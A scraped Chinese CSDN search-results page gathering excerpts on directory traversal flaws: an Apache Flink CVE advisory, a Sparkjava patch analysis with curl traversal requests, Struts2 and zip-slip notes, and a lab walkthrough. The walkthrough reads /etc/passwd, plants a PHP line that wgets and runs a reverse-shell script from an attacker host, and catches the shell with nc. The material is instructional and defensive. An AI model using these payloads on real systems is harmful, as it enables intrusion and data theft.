精华内容
下载资源
问答
  • 2021年1月6日,必达实验室天问安全团队依托监测平台发现Apache披露了Apache Flink 目录遍历漏洞(CVE-2020-17518、CVE-2020-17519)。经分析,远程攻击者可利用该漏洞目标服务器上写入、读取任意文件。天问安全团队...
    bc1d5f47c72eb9f33b8462e0c084efa4.gifb827979211fd3a0dba8b077395f39c10.gif

    2021年1月6日,必达实验室天问安全团队依托监测平台发现Apache披露了Apache Flink 目录遍历漏洞(CVE-2020-17518、CVE-2020-17519)。经分析,远程攻击者可利用该漏洞在目标服务器上写入、读取任意文件。天问安全团队初步研判,该漏洞影响范围广泛,并提醒用户及时采取消控措施。

    1. 漏洞分析

    1.1 漏洞信息概要

    00d4fa8ed9e803d2b744615503931a86.png

    注:漏洞类型与危害等级参考[信息安全技术 安全漏洞分类 GB/T 33561-2017]

    1.2 漏洞详情描述

    Apache Flink是美国阿帕奇(Apache)软件基金会的一套开源流处理框架,它的核心是用Java和Scala编写的分布式流数据流引擎。

    CVE-2020-17518

    Apache Flink中存在文件写入漏洞,该漏洞源于1.5.1版本引入了REST API。攻击者通过利用REST API,可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(访问仅限于Apache Flink 1.5.1版本进程能访问到的文件)。

    CVE-2020-17519

    Apache Flink中存在文件读取漏洞,该漏洞源于在1.11.0版本至1.11.2版本中引入的一项更改。攻击者可通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(访问仅限于JobManager进程能访问到的文件)。

    1.3 漏洞验证

    天问安全团队验证了CVE-2020-17518和CVE-2020-17519漏洞,复现成功后可以在目标服务器上写入、读取任意文件,验证结果如下图:

    4bbec918d44f19ad4af6984e52ef519c.png

    图 1-1 CVE-2020-17518成功写入文件

    41756bebfe2c488c60a070ab8e418bcd.png

    图 2-2 CVE-2020-17519成功读取文件

    1.4 漏洞影响评估

    根据Apache官方信息,远程攻击者成功利用该漏洞后可以在目标服务器上写入、读取任意文件。天问安全团队对漏洞进行验证后,证明可以在目标服务器上写入、读取任意文件。目前,互联网上已有相关的漏洞细节(POC)信息开始披露并传播,天问安全团队评估认为,相关漏洞极有可能存在被攻击者进一步利用的风险。鉴于Apache Flink产品在中国的用户群体较大,建议及时关注Apache官方网站的安全公告页面,下载升级补丁或更新至安全版本。

    天问安全团队将持续对此漏洞开展分析,及时更新相关信息,并通告提醒用户。

    2. 修复建议

    Apache官方公告信息给出详细修复建议,受影响用户应升级至Flink 1.11.3版本或Flink 1.12.0版本,获取链接如下:

    https://flink.apache.org/downloads.html

    3. 参考链接

    [1]. https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E

    [2]. https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E

    4. 时间线

    10babde325450d6393c3a5a4a428dcd8.png

    · 说明

    1. 此安全通告仅从安全技术分析角度用来描述该安全事件可能存在的安全问题,并以客观性、可靠性、及时性为分析原则,为用户提供安全通告服务,为网络安全消控工作提供支撑与保障;

    2. 此安全通告仅对分析时间段内的安全事件现有状况进行分析并成文,通告发布后若安全事件出现变更情况,此通告内容并非完全适用;

    3. 考虑到分析技术的局限性,除此安全通告提供的技术分析内容外,此安全事件可能存在未被发现的其他安全风险;

    4. 此安全通告由必达实验室天问安全团队提供技术分析,并编制成文,中测安华拥有对此安全通告的修改和解释权。

    5. 使用者在传播、采纳和实施此安全通告提供的信息时应当遵守相关法律政策规定,若存在违反行为,或因使用此安全通告引起的任何结果,均由使用者本人负责。

    6. 中测安华天问安全团队将持续跟踪该漏洞的相关情况,如需了解更多安全技术服务,或此安全通告的内容信息存在问题,请及时与我们联系。

    ee3a91f3bbb30effdd9608ac84be919c.png6ffefe0aee55e2ce4e39d385bbdd15b4.gif80c44c2ecaf052326923c57034cad2bf.png
    展开全文
  • 目录遍历漏洞

    2021-01-04 20:42:37
    开始之前,先介绍一下目录遍历漏洞的原理 目录遍历漏洞原理比较简单,就是程序实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。这里的目录跳转符...

    在开始之前,先介绍一下目录遍历漏洞的原理
    目录遍历漏洞原理比较简单,就是程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。这里的目录跳转符可以是…/,也可是…/的ASCII编码或者是unicode编码等。

    靶机

    链接:https://pan.baidu.com/s/1rkcs2rhBPch3Q5beSZJ4Rg
    提取码:20td

    漏洞复现过程

    1. 使用netdiscover发现存活主机
    netdiscover -i eth0
    

    在这里插入图片描述

    1. 使用nmap进行服务探测
    nmap -sV 172.20.10.9
    

    在这里插入图片描述

    1. 使用nmap时并没有发现有明显的可利用漏洞,因此使用OWSAP_ZAP进行web漏洞扫描
    • 使用OWSAP_ZAP时发现目标网站存在目录遍历漏洞
    • 访问目标的URL地址,得到以下信息
      在这里插入图片描述
      在这里插入图片描述
    • 不难发现,页面返回的是/etc/passwd的秘密文件信息
    1. 使用dirb进行目录挖掘
    dirb http://172.20.10.9
    
    • 发现了dbadmin后台数据库,尝试使用admin密码登录成功
    • 若在实战中尝试失败,可以利用sql-post注入等使用sqlmap进行密码爆破
      在这里插入图片描述
      在这里插入图片描述
    1. 进入数据库后,点击创建一个shell.php数据库
      在这里插入图片描述
      在这里插入图片描述
    2. 生成一个php的shellcode代码,用于反弹网站的webshell
    cd /usr/share/webshells/php
    cp php-reverse-shell.php /root/Desktop/shell.php
    
    • 编辑shellcode.php文件,IP地址设置为本机ip,端口为自己想要侦听的端口
      在这里插入图片描述
    1. 完善数据库信息,在Default Value值出填入以下代码用于执行shellcode
      在这里插入图片描述
    • 要在Default Value填入的字段
    <?php system("cd /tmp;wget http://172.20.10.7:8000/shellcode.php;chmod +x shell.php;php shell.php);"?>
    
    1. 使用python快速搭建一个http的web服务,默认开启的是8000端口
    python -m "SimpleHTTPServer"
    
    1. 使用nc命令监听4444端口
    nc -nlvp 4444
    
    1. 将最后的etc%2Fpasswd字段值替换为/usr/databases/shell.php即可反弹webshell
      在这里插入图片描述
    • 反弹成功
      在这里插入图片描述
    1. 使用python命令优化终端
    python -m "import pty; pty.spawn('/bin/bash')"
    
    • 成功获取www-data用户权限
      在这里插入图片描述
    展开全文
  • 近日,某国外安全研究人员发现其存在文件遍历漏洞,可以通过该漏洞读取任意文件内容。对这个漏洞进行复现与分析的时候,我们又发现了一些可能可以利用的地方,但是利用条件更加苛刻。2.漏洞影响Sparkj...

    Author:dawu(知道创宇404实验室) data:2016-11-16

    0x00 漏洞概述

    1.漏洞简介

    Sparkjava是一款小型的web框架,它能够让你以很少的代码构建出一个java web应用。近日,某国外安全研究人员发现其存在文件遍历漏洞,可以通过该漏洞读取任意文件内容。在对这个漏洞进行复现与分析的时候,我们又发现了一些可能可以利用的地方,但是利用条件更加苛刻。

    2.漏洞影响

    Sparkjava版本 < 2.5.2

    0x01 漏洞复现

    1.验证环境

    Jdk-1.8.111 Apache maven 3.3.9 在写好Sparkjava代码后,在文件所在目录打开命令行,运行mvn package进行编译打包。

    2.漏洞复现

    根据官网给出的示例,我们写了一个简单的函数去复现这个漏洞:

    public class Hello {

    public static void main(String[] args) {

    staticFiles.externalLocation(“/tmp”);

    get("/", (req, res) -> {

    return "hello from sparkjava.com";

    });

    }

    }

    1

    2

    3

    4

    5

    6

    7

    8

    9

    publicclassHello{

    publicstaticvoidmain(String[]args){

    staticFiles.externalLocation(“/tmp”);

    get("/",(req,res)->{

    return"hello from sparkjava.com";

    });

    }

    }

    pom.xml的配置为xml com.sparkjavaspark-core2.5这里提供已经打包好的jar文件供大家下载。可以用如下命令运行:bash java -jar sparkexample-jar-with-dependencies.jar我们可以通过(..\)来改变路径从而读取任意文件。如图,我们读取到/etc/passwd:

    e5d49605119a6d0b4027a96983094400.png

    在漏洞发现者的描述中,Spark.staticFileLocation()和Spark.externalStaticFileLocation()这两个函数都存在这个问题。经过开发者测试,在IDE中运行时,两个函数都可以复现这个漏洞;运行打包好的jar包时,只有Spark.externalStaticFileLocation()这个函数可以触发漏洞。

    0x02 补丁分析与深入研究

    1.补丁分析

    很明显,在漏洞被发现时,官方没有对url中的路径做任何处理。在漏洞被修补之后,官方推出了新的版本2.5.2。这里我们对比之前的版本,并且通过调试,尝试分析官方的修补方案。 官方修补链接(https://github.com/perwendel/spark/commit/efcb46c710e3f56805b9257a63d1306882f4faf9) 当我们正常请求时:bash curl "127.0.0.1:4567/l.txt"跟到关键代码处,我们可以看到在判断文件是否存在之后,官方添加了DirectoryTraversal.protectAgainstInClassPath(resource.getPath());进行判断。

    b3fa5515144f7bd937884398d8de200d.png

    这里,path就是我们HTTP请求的地址,addedPath就是我们通过staticFiles.externalLocation()函数设置的路径与path拼接之后的值,resource中的file的值就是addedPath值经过路径的处理的值(例如:/tmp/test/..\l.txt先将所有的\换成/,再对路径进行处理,最后结果为/tmp/l.txt),resource.getPath()就是addedPath的值。

    7095d2f2613a8478273f864628f4f6e8.png

    在protectAgainstInClassPath()函数中,需要判断removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external())是否为false,为false就抛出。

    removeLeadingAndTrailingSlashesFrom(path)为新添加的函数,作用是将path首尾的/去掉和将尾部的\去掉。在这里经过处理之后,path的值为tmp/l.txt。

    StaticFilesFolder.external()则是返回external的值,在这里就是tmp。如果removeLeadingAndTrailingSlashesFrom(path)前面的字母是tmp,则进入下一步。

    综上所述,官方通过比较经过处理后的路径的开头和我们设置的externalLocation()的路径是否相同来防止我们利用..\读取任意文件。

    2.深入探究

    我们修改了pom.xml,使用新的Sparkjava版本进行编译尝试,做了如下探究。xml com.sparkjavaspark-core2.5.2

    ①软链接的利用

    与Sparkjava(CVE-2016-9177)同时爆出来的一个漏洞GitLab的任意文件读取(CVE-2016-9086)是利用软链接的特性,我们就顺手测试了软链接在Sparkjava下的利用。 直接读取文件:954d0a6dc90ec5569933974161162fe9.png

    c238869dd3857362aa785ca5439eb6db.png

    怎么才能利用软链接呢?这里的利用条件比较苛刻。笔者想到了两种途径: 1.网站允许上传压缩包,上传后解压并且还能访问到解压后的文件才能利用 2.网站通过wget(wget配置文件中需要retr-symlinks=on)从ftp上下载文件并且能够访问到下载的文件。

    ②再次读取文件

    我们在根目录下新建两个文件tmp.txt,tmp2.txt27fa2a7cac4636d110aa8560aa2bc81c.png

    再访问

    82be29f26f44a2b7a0458ba19989ac02.png

    读取到了tmp.txt和tmp2.txt的内容。 我们分析一下能够再次读取的原因,当我们请求为: bash curl “127.0.0.1:4567/tmp\..\..\tmp.txt”分析过滤代码处: ba61132bd277116354d208a7c1067b02.png

    addedPath的值为/tmp/tmp/..\..\tmp.txt,经过处理后resource中的file值为/tmp.txt,对于下面的函数removeLeadingAndTrailingSlashesFrom(path).startsWith(StaticFilesFolder.external()),由于tmp.txt也是由tmp开头,所以判断可以通过,进而读取到tmp.txt。

    同样的道理,我们也可以读取到/tmp2/test.txt的内容。

    3a00bab48fe75f4af6b2fb29e7dd03b1.png

    通过以上分析,笔者认为这个读取很鸡肋,首先staticFiles.externalLocation()中定义的路径只能是一级路径,其次我们要读取的文件的完整路径开头必须和staticFiles.externalLocation()中定义的路径相同。这就限制了这个新的读取,也许只有在某些特定的场合才能有奇效。

    如有错误,欢迎指正:)

    0x03 参考链接

    展开全文
  • 目录遍历漏洞的探测

    千次阅读 2008-09-20 11:06:00
    随机打开一个Jsp的网站,发现由于系统管理员配置方面的不小心,存在目录遍历漏洞,有的甚至没有关闭Tomcat自带的管理界面。 查找这些网站时,我发现国外做的要比国内做的好,一般国内40%以上的网站存在...

        随机打开一个Jsp的网站,发现由于在系统管理员在配置方面的不小心,存在目录遍历的漏洞,有的甚至没有关闭Tomcat自带的管理界面。

       在查找这些网站时,我发现国外做的要比国内做的好,一般国内40%以上的网站存在此类问题,特别是有的服务端口放在8080,这种问题更显突出,而国外存在此种情况不多,如果有也是一些网站提供WEB下载服务,而粗心配置的可能性较少,这里的国外一般是指欧美,韩国以及日本的网站也存在此类问题。

       查找此类漏洞有一个非常好的办法,用Google Hacking

      比如输入index of   , intext ,inurl 等几种输入方式的组合,具体的Google Hacking使用语法,网上一大篇,这个工具的原理是Googel将你输入搜索的关键字所得到的网页,对其内部具体内容在进行按指定方式过滤。

      这个过滤后的结果集是我们所关心,用这种方法甚至能够找到 Linux下的etc/passwd文件。

      不过有一段时间,在进行测试时,发现轻松进入了两个老外的网站,由于攻击很轻松,但是发现一些上当了,进入了别人精心设计的Hot pet了。

      这也要小心一点了,国外的密灌比较多,国内相当较少,当然投资一个密灌有时候对于主动维护一个大的系统还是很有必要的,看来要加强了,实施过程比较简单的是装一个Virtual machine,运行一些假的服务,对外公布端口,当然也有更牛一些的密灌。

       言归正传,对于目录遍历漏洞的修改是在配置文件上一个小的改动,将conf/web.xml中将listings  改为false,就是这样的举动在一些管理员也没有引起关注,发Mail告诉了他们,邮件回的很客气,但发现还是没有改。可能认为这样的漏洞不足以影响系统运行,但是从前有个网友成功用这个方法从一个网站上下载了其管理员放置的一些文件,有一个文件是管理员导出的其数据库用户名,密码,以及Email的信息,总计4万条,这个网站也算有点名气,更令人感到不解的是其密码的存储竞然没有用MD5加密,直接明文。

       有时候这种漏洞想利用也很Easy,因为就是一种耐心的考验而已。

       总结了一下经验网站目录往往以下方式命名:

       admin

       images

       img

       image

       download

       upload

       news

       data

       database

       inc

       js

       include

      CSS

      conf

      manager

       有些JS文件可以下下来,有时候能看到有的网站JS写的很规整,呵呵,规整的代码即方便自己读,也方便别人分析,特别有时候基于Ajax通信的模块。

       而统计后发现如果出现此类漏洞如果发生在.gov网站上的,十有八九其Tomcat管理界面也不会关,并且默认用户名跟密码更不知道去改。

      希望存在此类漏洞的管事员,引以为戒吧!!!

    展开全文
  • 3.目录遍历漏洞验证 4.目录遍历漏洞修复 (1)IIS中间件 (2)Apache中间件 (3)Nginx中间件 (4)Tomcat中间件 (5)Weblogic中间件 1.前言 前几天对目标网站进行安全性测试时,发现了目录浏览漏洞。...
  • 点进题目,发现了一个js重定向到login.php,抓包发现请求的header中cookie=0,做过这种类似的题目,o==false,请求头里面将cookie=1,结果就进去了后台,(login.php中没有发现什么信息),进入后台, 点开Manage,...
  • 一、目录遍历0x01 发现目录遍历 对于一般的渗透测试来说,这好歹也算是一个漏洞,可以提交报告了,但是对于HW来说,不拿shell怎么可以呢?于是继续进行深入测试。0x02 发现上传点发现这块存在一个/UploadFile这个...
  • 目录 影响范围 docker搭建漏洞环境 漏洞复现 单个漏洞检测脚本 批量漏洞检测脚本 ... Apache Flink 是一个分布式流批一体化的开源平台。Flink 的核心是一个提供数据...同时并行数据库发现查询优化方案。 2021...
  • 1、ZIP文件目录遍历简介因为ZIP压缩包文件中允许存在“../”的字符串,攻击者可以利用多个“../”解压时改变ZIP包中某个文件的存放位置,覆盖掉应用原有的文件。如果被覆盖掉的文件是动态链接so、dex或者odex文件...
  • 1、ZIP文件目录遍历简介 因为ZIP压缩包文件中允许存在“../”的字符串,攻击者可以利用多个“../”解压时改变ZIP包中某个文件的存放位置,覆盖掉应用原有的文件。如果被覆盖掉的文件是动态链接so、dex或者odex文件...
  • 最近做一个网站,由于我是刚毕业不久,之前做的也是内部使用的mis系统...目录遍历则发生由于网站分为前台和后台管理,是两个不同的工程,前台需要下载文件时就使用java里面的File类,传进来的参数没有进行处理就
  • 截至2020年7月4日,该漏洞 已被广泛发现野外被利用,使攻击者能够易受攻击的系统上读取文件并执行代码。我本来打算为此发布概念证明,以便有时间让公司修补系统,但是由于概念证明今天似乎遍布Twitter
  • 前阵子Nginx/OpenResty爆出了2个漏洞,一个内存泄漏另一个目录遍历。当时公司做了应急,复现的情况也一并做了记录,这两个漏洞原理相对比较简单,但影响面还是比较大的。 漏洞通报概况 2020 年 03 月 18 日,360 ...
  • 0x00 前言早前发现boooom乌云上发了很多个任意文件读取的漏洞,都是形如http://target/../../../../etc/passwd这样...后来lijiejie安全脉搏的文章给出了解释:关于python和django的目录遍历漏洞(任意文件读取)or...
  • s2-004漏洞为:目录遍历漏洞。 定义:只是文件交互的一种简单的过程,但是由于文件名可以任意更改而服务器支持“~/”,“../”等特殊符号的目录回溯,从而使攻击者越权访问或者覆盖敏感数据,如网站的配置文件、...
  • s2-004漏洞为:目录遍历漏洞。 定义:只是文件交互的一种简单的过程,但是由于文件名可以任意更改而服务器支持“~/”,“…/”等特殊符号的目录回溯,从而使攻击者越权访问或者覆盖敏感数据,如网站的配置文件、...
  • 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度。正如你将看到,本文的这个漏洞类代码中非常难发现,但可以造成巨大的影响。 这个漏洞存在于思科Prime Infrastructure项目,思科为其申请编号...
  • 墨者靶场 初级:Struts2远程代码执行漏洞(S2-004)题目背景介绍实训目标解题方向解题步骤 题目 背景介绍 某日,安全工程师"墨者"对一单位业务系统进行授权扫描...2、了解Apache Struts2目录遍历漏洞(S2-004); 3、...
  • 墨者靶场 初级:Struts2远程代码执行漏洞(S2-001)题目背景介绍实训目标解题方向解题步骤 题目 背景介绍 某日,安全工程师"墨者"对一单位业务系统进行授权扫描...2、了解Apache Struts2目录遍历漏洞(S2-004); 3、...
  • Apache Struts2远程代码执行漏洞 S2-004为目录遍历漏洞。允许为Web应用程序的类路径中发现的某些静态资源提供具有以“/ struts /”开头的上下文相对路径的请求URI。 /struts/…%252f…%252f…%252f…%252f 改变目录...
  • CTFHub-信息泄露-备份文件下载

    千次阅读 2020-03-06 18:04:19
    目录遍历漏洞,可以通过谷歌语法批量发现,如:intitle:Index of intext:Parent Directory flag_in_here/2/1文件夹下发现flag.txt 点击获得flag 第二题PHPINFO 这个算是低危的信息泄露,能够...
  • 目录遍历漏洞,这部分有三个例子,直接查看源代码 Example 1 <1>测试输入./,停留本目录 <2>测试输入../,发现目录切换,猜测是返回上级目录 直接溯源到根目录测试是否可以访问/etc/passwd...
  • CTFHUB-web-信息泄露wp总结

    千次阅读 2020-03-29 20:40:36
    目录遍历 访问,进入发现都是目录,...考点:目录遍历漏洞(由于配置错误导致网站的目录可被遍历,一般该类漏洞可以为后续利用提供一些信息上的帮助) 存在问题: (1)操作系统没有限制对文件的访问权限。导致任何人...
  • 来自Snyk 的安全团队今年 4 月份发现了一个广泛存在的文件覆盖漏洞,允许攻击者系统上编写任意文件,并通过远程命令执行。它会从档案文件中提取文件时触发目录遍历攻击,并影响包括 t...
  • 1.只是文件交互的一种简单的过程,但是由于文件名可以任意更改而服务器支持“~/”,“…/”等特殊符号的目录回溯,从而使攻击者越权访问或者覆盖敏感数据,如网站的配置文件、系统的核心文件,这样的缺陷被命名为...
  • 漏洞分析首先,与大多数挖洞者的探测模式一样,我对目标网站进行了全方位的服务资产踩点识别,此过程中,我发现了其中一个子域名网站比较有意思,于是,我就对它进行了目录遍历,然后,就发现...

空空如也

空空如也

1 2 3
收藏数 54
精华内容 21
关键字:

在发现目录遍历漏洞